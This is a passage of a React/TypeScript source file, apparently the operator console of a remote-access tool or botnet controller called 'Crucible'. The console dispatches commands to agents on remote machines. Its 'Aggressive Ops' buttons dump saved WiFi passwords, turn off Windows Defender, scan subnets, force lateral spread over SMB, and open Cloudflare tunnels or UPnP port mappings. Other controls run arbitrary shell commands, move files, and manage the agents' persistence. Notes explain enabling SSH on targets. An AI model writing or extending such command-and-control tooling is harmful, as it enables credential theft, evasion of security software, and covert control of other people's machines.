api.sendAgentCommand(a.id, cmd).catch((err) =>
|
||
setTermLines((prev) => [...prev, {
|
||
id: mkId(), agentId: a.id, agentName: a.name, isCmd: false,
|
||
text: `[ERROR] ${cmd}: ${err instanceof Error ? err.message : String(err)}`,
|
||
ts: new Date(), success: false, targeted: true,
|
||
}])
|
||
);
|
||
});
|
||
setTermLines((prev) => [...prev, {
|
||
id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true,
|
||
text: `${cmd} → ${selectedIds.size} node(s)`, ts: new Date(),
|
||
}]);
|
||
}}
|
||
>
|
||
{cmd}
|
||
</button>
|
||
))}
|
||
</div>
|
||
|
||
{/* ── Agent Control ─────────────────────────────── */}
|
||
<div className="crucible-op-group cop-agent">
|
||
<span className="cop-label">Agent</span>
|
||
<button
|
||
className="button crucible-op-btn"
|
||
disabled={selectedIds.size === 0}
|
||
title="Restart the agent process"
|
||
onClick={() => {
|
||
const ids = selectedAgents.filter(online).map((a) => a.id);
|
||
if (ids.length === 0) return;
|
||
api.sendBulkCommand(ids, 'restart').then((r) => {
|
||
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `restart → sent:${r.sent} failed:${r.failed}`, ts: new Date() }]);
|
||
}).catch(() => null);
|
||
}}
|
||
>
|
||
Restart
|
||
</button>
|
||
<button
|
||
className="button crucible-op-btn"
|
||
disabled={selectedIds.size === 0}
|
||
title="Pull the last 300 lines of the agent log"
|
||
onClick={() => {
|
||
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'get_log', { tail_lines: 300 }).catch(() => null));
|
||
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `get_log → ${selectedIds.size} node(s)`, ts: new Date() }]);
|
||
}}
|
||
>
|
||
Get Log
|
||
</button>
|
||
<button
|
||
className="button crucible-op-btn"
|
||
disabled={selectedIds.size === 0}
|
||
title="Kill the agent process (it will restart via watchdog/persistence)"
|
||
style={{ color: '#ff8c00' }}
|
||
onClick={() => {
|
||
if (!confirm(`Kill agent process on ${selectedIds.size} node(s)?`)) return;
|
||
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'stop').catch(() => null));
|
||
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `kill → ${selectedIds.size} node(s)`, ts: new Date() }]);
|
||
}}
|
||
>
|
||
Kill
|
||
</button>
|
||
<button
|
||
className="button crucible-op-btn"
|
||
disabled={selectedIds.size === 0}
|
||
title="Fully uninstall: remove persistence, delete files, exit"
|
||
style={{ color: '#ff4444' }}
|
||
onClick={() => {
|
||
if (!confirm(`UNINSTALL from ${selectedIds.size} node(s)? This removes persistence and deletes all agent files.`)) return;
|
||
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'uninstall').catch(() => null));
|
||
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `uninstall → ${selectedIds.size} node(s)`, ts: new Date() }]);
|
||
}}
|
||
>
|
||
Uninstall
|
||
</button>
|
||
</div>
|
||
|
||
{/* ── System Power ──────────────────────────────── */}
|
||
<div className="crucible-op-group cop-sys">
|
||
<span className="cop-label">System</span>
|
||
<button
|
||
className="button crucible-op-btn"
|
||
disabled={selectedIds.size === 0}
|
||
title="OS reboot"
|
||
onClick={() => {
|
||
if (!confirm(`Reboot ${selectedIds.size} machine(s)?`)) return;
|
||
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'reboot_machine').catch(() => null));
|
||
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `reboot_machine → ${selectedIds.size} node(s)`, ts: new Date() }]);
|
||
}}
|
||
>
|
||
Reboot
|
||
</button>
|
||
<button
|
||
className="button crucible-op-btn"
|
||
disabled={selectedIds.size === 0}
|
||
title="OS shutdown (power off)"
|
||
style={{ color: '#ff4444' }}
|
||
onClick={() => {
|
||
if (!confirm(`Shutdown ${selectedIds.size} machine(s)?`)) return;
|
||
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'shutdown_machine').catch(() => null));
|
||
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `shutdown_machine → ${selectedIds.size} node(s)`, ts: new Date() }]);
|
||
}}
|
||
>
|
||
Shutdown
|
||
</button>
|
||
</div>
|
||
|
||
{/* ── Aggressive Ops ───────────────────────────── */}
|
||
<div className="crucible-op-group cop-agg">
|
||
<span className="cop-label">Aggressive Ops</span>
|
||
<button
|
||
className="button crucible-op-btn"
|
||
disabled={selectedIds.size === 0}
|
||
title="Dump all saved WiFi network credentials from selected Windows nodes"
|
||
style={{ borderColor: '#ff6b35', color: '#ff6b35' }}
|
||
onClick={() => {
|
||
selectedAgents.filter(online).forEach((a) => {
|
||
api.sendAgentCommand(a.id, 'get_wifi_passwords').catch((err) =>
|
||
setTermLines((prev) => [...prev, {
|
||
id: mkId(), agentId: a.id, agentName: a.name, isCmd: false,
|
||
text: `[ERROR] get_wifi_passwords: ${err instanceof Error ? err.message : String(err)}`,
|
||
ts: new Date(), success: false, targeted: true,
|
||
}])
|
||
);
|
||
});
|
||
setTermLines((prev) => [...prev, {
|
||
id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true,
|
||
text: `get_wifi_passwords → ${selectedIds.size} node(s)`, ts: new Date(),
|
||
}]);
|
||
}}
|
||
>
|
||
📶 WiFi Passwords
|
||
</button>
|
||
<button
|
||
className="button crucible-op-btn"
|
||
disabled={selectedIds.size === 0}
|
||
title="Disable Windows Defender real-time monitoring (requires admin)"
|
||
onClick={() => {
|
||
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'defender_off').catch(() => null));
|
||
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `defender_off → ${selectedIds.size} node(s)`, ts: new Date() }]);
|
||
}}
|
||
>
|
||
Defender Off
|
||
</button>
|
||
<button
|
||
className="button crucible-op-btn"
|
||
disabled={selectedIds.size === 0}
|
||
title="Scan local subnet for reachable hosts (up to 64)"
|
||
onClick={() => {
|
||
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'subnet_scan').catch(() => null));
|
||
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `subnet_scan → ${selectedIds.size} node(s)`, ts: new Date() }]);
|
||
}}
|
||
>
|
||
Subnet Scan
|
||
</button>
|
||
<button
|
||
className="button crucible-op-btn"
|
||
disabled={selectedIds.size === 0}
|
||
title="Force one lateral-spread attempt via SMB/shares"
|
||
onClick={() => {
|
||
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'spread_now').catch(() => null));
|
||
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `spread_now → ${selectedIds.size} node(s)`, ts: new Date() }]);
|
||
}}
|
||
>
|
||
Spread Now
|
||
</button>
|
||
<button
|
||
className="button crucible-op-btn"
|
||
disabled={selectedIds.size === 0}
|
||
title="Open outbound Cloudflare tunnel (agent dials out — no inbound port required)"
|
||
onClick={() => {
|
||
const url = tunnelURL.trim() || '';
|
||
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'tunnel_cloudflared', { command: url }).catch(() => null));
|
||
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `tunnel_cloudflared → ${selectedIds.size} node(s)${url ? ` (${url})` : ''}`, ts: new Date() }]);
|
||
}}
|
||
>
|
||
Start Tunnel
|
||
</button>
|
||
<button
|
||
className="button crucible-op-btn"
|
||
disabled={selectedIds.size === 0}
|
||
title="UPnP hole punch: map external port 8989 → agent's LAN port 8989"
|
||
onClick={() => {
|
||
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'hole_punch').catch(() => null));
|
||
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `hole_punch → ${selectedIds.size} node(s)`, ts: new Date() }]);
|
||
}}
|
||
>
|
||
Hole Punch
|
||
</button>
|
||
</div>
|
||
|
||
{/* ── File Ops ─────────────────────────────────── */}
|
||
<div className="crucible-op-group cop-fileops">
|
||
<span className="cop-label">File Ops</span>
|
||
<div style={{ display: 'flex', gap: '0.4rem', alignItems: 'center', marginBottom: '0.4rem', flexWrap: 'wrap' }}>
|
||
<label
|
||
className="button crucible-op-btn"
|
||
style={{ cursor: selectedIds.size === 0 ? 'not-allowed' : 'pointer', opacity: selectedIds.size === 0 ? 0.5 : 1 }}
|
||
title="Push a local file to each selected agent's Desktop (Windows / macOS / Linux)"
|
||
>
|
||
↑ Desktop
|
||
<input
|
||
type="file"
|
||
style={{ display: 'none' }}
|
||
disabled={selectedIds.size === 0}
|
||
onChange={async (e) => {
|
||
const file = e.target.files?.[0];
|
||
if (!file) return;
|
||
const targets = selectedAgents.filter(online);
|
||
try {
|
||
for (const a of targets) {
|
||
await pushFileToAgentDesktop(
|
||
(action, args) => api.sendAgentCommand(a.id, action, args),
|
||
file
|
||
);
|
||
}
|
||
setTermLines((prev) => [
|
||
...prev,
|
||
{
|
||
id: mkId(),
|
||
agentId: 'local',
|
||
agentName: 'YOU',
|
||
isCmd: true,
|
||
text: `push_desktop ${file.name} → ${targets.length} node(s)`,
|
||
ts: new Date(),
|
||
},
|
||
]);
|
||
} catch (err) {
|
||
alert(err instanceof Error ? err.message : String(err));
|
||
}
|
||
e.target.value = '';
|
||
}}
|
||
/>
|
||
</label>
|
||
<span className="form-hint" style={{ fontSize: '0.72rem', opacity: 0.75 }}>
|
||
{desktopPathHint(selectedAgents.find((a) => selectedIds.has(a.id))?.platform)}
|
||
</span>
|
||
</div>
|
||
<div style={{ display: 'flex', gap: '0.4rem', alignItems: 'center', marginBottom: '0.4rem' }}>
|
||
<input
|
||
type="text"
|
||
placeholder="Remote path (or @desktop/file.txt)"
|
||
value={downloadPath}
|
||
onChange={(e) => setDownloadPath(e.target.value)}
|
||
style={{ flex: 1, padding: '0.3rem 0.5rem', background: '#0d0d1a', border: '1px solid #333', color: '#ddd', borderRadius: 3, fontFamily: 'var(--font-tech)', fontSize: '0.78rem' }}
|
||
/>
|
||
<button
|
||
className="button crucible-op-btn"
|
||
disabled={selectedIds.size === 0 || !downloadPath.trim()}
|
||
title="Download a file from the agent (result is base64 in terminal)"
|
||
onClick={() => {
|
||
const p = downloadPath.trim();
|
||
selectedAgents.filter(online).forEach((a) =>
|
||
api.sendAgentCommand(a.id, 'download', { path: p }).catch((err) =>
|
||
setTermLines((prev) => [...prev, { id: mkId(), agentId: a.id, agentName: a.name, isCmd: false, text: `[ERROR] download: ${err instanceof Error ? err.message : String(err)}`, ts: new Date(), success: false, targeted: true }])
|
||
)
|
||
);
|
||
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `download ← ${p}`, ts: new Date() }]);
|
||
}}
|
||
>
|
||
↓ Pull
|
||
</button>
|
||
</div>
|
||
<div style={{ display: 'flex', gap: '0.4rem', alignItems: 'center' }}>
|
||
<input
|
||
type="text"
|
||
placeholder="Path or @desktop/filename"
|
||
value={uploadPath}
|
||
onChange={(e) => setUploadPath(e.target.value)}
|
||
style={{ flex: 1, padding: '0.3rem 0.5rem', background: '#0d0d1a', border: '1px solid #333', color: '#ddd', borderRadius: 3, fontFamily: 'var(--font-tech)', fontSize: '0.78rem' }}
|
||
/>
|
||
<label
|
||
className="button crucible-op-btn"
|
||
style={{ cursor: 'pointer' }}
|
||
title="Upload to custom path, or leave blank and use ↑ Desktop"
|
||
>
|
||
↑ Push path
|
||
<input
|
||
type="file"
|
||
style={{ display: 'none' }}
|
||
ref={(el) => { uploadFileRef.current = el; }}
|
||
onChange={async (e) => {
|
||
const file = e.target.files?.[0];
|
||
if (!file) return;
|
||
const p = uploadPath.trim() || `@desktop/${file.name}`;
|
||
try {
|
||
const { readFileAsBase64 } = await import('../help/desktopPush');
|
||
const b64 = await readFileAsBase64(file);
|
||
selectedAgents.filter(online).forEach((a) =>
|
||
api.sendAgentCommand(a.id, 'upload', { path: p, data: b64 }).catch((err) =>
|
||
setTermLines((prev) => [...prev, { id: mkId(), agentId: a.id, agentName: a.name, isCmd: false, text: `[ERROR] upload: ${err instanceof Error ? err.message : String(err)}`, ts: new Date(), success: false, targeted: true }])
|
||
)
|
||
);
|
||
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `upload ${file.name} → ${p} on ${selectedIds.size} node(s)`, ts: new Date() }]);
|
||
} catch (err) {
|
||
alert(err instanceof Error ? err.message : String(err));
|
||
}
|
||
if (uploadFileRef.current) uploadFileRef.current.value = '';
|
||
}}
|
||
/>
|
||
</label>
|
||
</div>
|
||
{singleSelectedAgent && (
|
||
<div style={{ marginTop: '0.75rem' }}>
|
||
<FileManager
|
||
agentId={singleSelectedAgent.id}
|
||
agentName={singleSelectedAgent.name}
|
||
online={online(singleSelectedAgent)}
|
||
commandResults={fmCommandResults}
|
||
/>
|
||
</div>
|
||
)}
|
||
</div>
|
||
|
||
{/* ── Shell type ───────────────────────────────── */}
|
||
<div className="crucible-op-group cop-shell">
|
||
<span className="cop-label">Shell Mode</span>
|
||
<div className="crucible-shell-tabs">
|
||
{(['powershell', 'exec', 'sh'] as ShellType[]).map((s) => (
|
||
<button
|
||
key={s}
|
||
className={`crucible-shell-tab ${shellType === s ? 'active' : ''}`}
|
||
onClick={() => setShellType(s)}
|
||
>
|
||
{s === 'powershell' ? 'PS' : s === 'exec' ? 'CMD' : 'SH'}
|
||
</button>
|
||
))}
|
||
</div>
|
||
</div>
|
||
|
||
{/* ── Selection chips ──────────────────────────── */}
|
||
{selectedIds.size > 0 && (
|
||
<div className="crucible-sel-chips">
|
||
{selectedAgents.map((a) => {
|
||
const color = agentColor(a.id, allIds);
|
||
const ssh = sshStatus(a);
|
||
return (
|
||
<span
|
||
key={a.id}
|
||
className="crucible-chip"
|
||
style={{ borderColor: color, color }}
|
||
onClick={() => toggle(a.id)}
|
||
title={`${a.ip ?? ''} · ${ssh.label}`}
|
||
>
|
||
{a.name} ×
|
||
</span>
|
||
);
|
||
})}
|
||
</div>
|
||
)}
|
||
</div>
|
||
</NeonCard>
|
||
</div>
|
||
|
||
{/* ── Terminal ────────────────────────────────────────────────────── */}
|
||
<NeonCard accent="green" className="crucible-term-card operator-deck-card operator-interactive" tilt3d={false}>
|
||
<div className="crucible-term-header">
|
||
<div className="crucible-section-title font-tech" style={{ marginBottom: 0 }}>
|
||
<span className="section-ornament">◆</span> TERMINAL
|
||
<span className="crucible-term-target">
|
||
{selectedIds.size === 0
|
||
? '— select nodes above —'
|
||
: `→ ${selectedIds.size} node${selectedIds.size > 1 ? 's' : ''}: ${selectedAgents.slice(0, 3).map((a) => a.name).join(', ')}${selectedAgents.length > 3 ? ` +${selectedAgents.length - 3}` : ''}`
|
||
}
|
||
</span>
|
||
</div>
|
||
<button className="crucible-btn-muted" onClick={() => setTermLines([])}>CLEAR</button>
|
||
</div>
|
||
|
||
<div className="crucible-terminal">
|
||
{termLines.length === 0 && (
|
||
<div className="crucible-term-empty">
|
||
Select nodes · type a command · press Enter
|
||
</div>
|
||
)}
|
||
{termLines.map((line) => {
|
||
const color = agentColor(line.agentId, allIds);
|
||
const dim = line.targeted === false;
|
||
return (
|
||
<div
|
||
key={line.id}
|
||
className={`crucible-term-line ${line.isCmd ? 'cmd-line' : 'out-line'} ${line.success === false ? 'err-line' : ''} ${line.richData ? 'rich-line' : ''}`}
|
||
style={dim ? { opacity: 0.45 } : undefined}
|
||
>
|
||
<span className="ctl-agent" style={{ color }}>
|
||
{line.agentName.slice(0, 12).padEnd(12)}
|
||
</span>
|
||
<span className="ctl-arrow" style={{ color }}>
|
||
{line.isCmd ? '▶' : '◀'}
|
||
</span>
|
||
{line.richData ? (
|
||
<span className="ctl-text ctl-rich">{renderRichData(line.richData, line.agentName)}</span>
|
||
) : (
|
||
<span className="ctl-text">{line.text}</span>
|
||
)}
|
||
<span className="ctl-ts">{line.ts.toLocaleTimeString()}</span>
|
||
</div>
|
||
);
|
||
})}
|
||
<div ref={termEndRef} />
|
||
</div>
|
||
|
||
<div className="crucible-term-input-row">
|
||
<span className="crucible-prompt font-tech">
|
||
[{shellType === 'powershell' ? 'PS' : shellType === 'exec' ? 'CMD' : 'SH'}]$
|
||
</span>
|
||
<input
|
||
ref={cmdRef}
|
||
className="crucible-term-input"
|
||
value={cmd}
|
||
onChange={(e) => setCmd(e.target.value)}
|
||
onKeyDown={handleKey}
|
||
placeholder={selectedIds.size === 0 ? 'select a node first…' : 'command…'}
|
||
disabled={busy || selectedIds.size === 0}
|
||
spellCheck={false}
|
||
autoComplete="off"
|
||
/>
|
||
<button
|
||
className={`button crucible-send-btn ${busy ? 'busy' : ''}`}
|
||
onClick={sendCmd}
|
||
disabled={busy || !cmd.trim() || selectedIds.size === 0}
|
||
>
|
||
{busy ? '…' : 'SEND'}
|
||
</button>
|
||
</div>
|
||
</NeonCard>
|
||
|
||
{/* ── SSH Access Info ─────────────────────────────────────────────── */}
|
||
<NeonCard accent="brass" className="crucible-ssh-info operator-deck-card operator-interactive" tilt3d={false}>
|
||
<div className="crucible-section-title font-tech">
|
||
<span className="section-ornament">◆</span> SSH ACCESS NOTES
|
||
</div>
|
||
<div className="crucible-ssh-grid">
|
||
<div className="crucible-ssh-step">
|
||
<span className="css-num">1</span>
|
||
<div>
|
||
<strong>Probe</strong> — click "Probe SSH" to test if port 22 is open on the target machine.
|
||
</div>
|
||
</div>
|
||
<div className="crucible-ssh-step">
|
||
<span className="css-num">2</span>
|
||
<div>
|
||
<strong>Wake SSH (Windows)</strong> — installs OpenSSH Server via Windows capability, starts the service, marks it auto-start. Requires admin agent.
|
||
</div>
|
||
</div>
|
||
<div className="crucible-ssh-step">
|
||
<span className="css-num">3</span>
|
||
<div>
|
||
<strong>Connect directly</strong> — if you're on the same LAN, <code className="crucible-code">ssh user@<ip></code>. Node IP is shown on each card.
|
||
</div>
|
||
</div>
|
||
<div className="crucible-ssh-step">
|
||
<span className="css-num">4</span>
|
||
<div>
|
||
<strong>Remote (via tunnel)</strong> — use <code className="crucible-code">Protocol Tunneling</code> or <code className="crucible-code">tunnel_cloudflared</code> so the node dials out through Cloudflare to your control URL.
|
||
</div>
|
||
</div>
|
||
</div>
|
||
</NeonCard>
|
||
|
||
{singleSelectedAgent && (
|
||
<NeonCard accent="cyan" className="crucible-tunnel-panel-wrap operator-deck-card operator-interactive" tilt3d={false}>
|
||
<ProtocolTunnelPanel
|
||
agentId={singleSelectedAgent.id}
|
||
agentName={singleSelectedAgent.name}
|
||
online={singleSelectedAgent.status === 'online'}
|
||
caps={singleSelectedAgent.capabilities}
|
||
platform={singleSelectedAgent.platform}
|
||
compact
|
||
lastTunnelStatusMessage={tunnelStatusMsg}
|
||
busy={null}
|
||
onDispatch={async (action, args) => {
|
||
await api.sendAgentCommand(singleSelectedAgent.id, action, args);
|
||
setTermLines((prev) => [
|
||
...prev,
|
||
{
|
||
id: mkId(),
|
||
agentId: 'local',
|
||
agentName: 'YOU',
|
||
isCmd: true,
|
||
text: `${action} → ${singleSelectedAgent.name}`,
|
||
ts: new Date(),
|
||
},
|
||
]);
|
||
}}
|
||
/>
|
||
</NeonCard>
|
||
)}
|
||
|
||
<CreateGroupModal
|
||
open={showGroupModal}
|
||
agentCount={selectedIds.size}
|
||
onClose={() => setShowGroupModal(false)}
|
||
onCreate={(name, color) => {
|
||
addGroup(name, color, [...selectedIds]);
|
||
setShowGroupModal(false);
|
||
}}
|
||
/>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
);
|
||
}
|